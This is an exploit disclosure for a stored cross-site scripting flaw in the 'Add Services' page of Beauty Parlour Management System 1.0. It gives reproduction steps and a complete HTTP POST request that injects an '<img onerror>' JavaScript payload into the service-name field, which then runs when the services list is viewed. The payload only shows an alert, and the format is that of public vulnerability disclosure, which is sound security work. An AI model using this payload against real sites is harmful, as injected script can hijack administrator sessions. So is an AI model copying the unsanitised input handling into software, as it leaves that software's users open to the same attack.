Beauty Parlour Management System 1.0 Cross Site Scripting

`# Exploit Title: Beauty Parlour Management System 1.0 - 'Add Services' Cross-Site Scripting  
# Date: 19/2/2021  
# Exploit Author: Thinkland Security Team  
# Vendor Homepage: https://phpgurukul.com/beauty-parlour-management-system-using-php-and-mysql/  
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/08/Beauty-Parlour-Management-System.zip  
# Version : V 1.0  
# Vulnerability Type: Cross-site Scripting  
# Tested on Windows 10 、XAMPP  
# This application is vulnerable to cross-site scripting vulnerability.  
# Vulnerable script:  
  
  
1.go to http://localhost/bpms/admin/ Sign in.  
2.go to http://localhost/bpms/admin/add-services.php，Click on Services —— Add Services，Fill in Services name <img src=1 onerror=alert(/xss/)>，Click on Add.  
3.Click on Manage Services，You will see your Javascript code executed.  
  
  
# poc：  
POST /bpms/admin/add-services.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 71  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/bpms/admin/add-services.php  
Cookie: PHPSESSID=qaqv7jl8dqci4i2nldnj4n60s0  
Upgrade-Insecure-Requests: 1  
  
sername=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E&cost=1&submit=  
  
`